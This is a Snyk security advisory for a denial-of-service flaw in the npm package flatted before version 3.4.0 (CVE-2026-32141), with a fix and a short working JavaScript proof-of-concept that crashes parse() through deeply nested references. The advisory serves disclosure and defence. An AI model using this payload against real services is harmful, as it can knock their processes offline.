Uncontrolled Recursion Affecting flatted package, versions <3.4.0
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-JS-FLATTED-15518041
- published13 Mar 2026
- disclosed12 Mar 2026
- creditByambadalai Sumiya
Introduced: 12 Mar 2026
NewCVE-2026-32141 (opens in a new tab)How to fix?
Upgrade flatted to version 3.4.0 or higher.
Overview
Affected versions of this package are vulnerable to Uncontrolled Recursion via the parse function due to using a recursive revive() phase to resolve circular references in deserialized JSON. An attacker can cause a stack overflow and crash the process by supplying a crafted payload with deeply nested or self-referential indices.
PoC
const flatted = require('flatted');
// Build deeply nested circular reference chain
const depth = 20000;
const arr = new Array(depth + 1);
arr[0] = '{"a":"1"}';
for (let i = 1; i <= depth; i++) {
arr[i] = `{"a":"${i + 1}"}`;
}
arr[depth] = '{"a":"leaf"}';
const payload = JSON.stringify(arr);
flatted.parse(payload); // RangeError: Maximum call stack size exceeded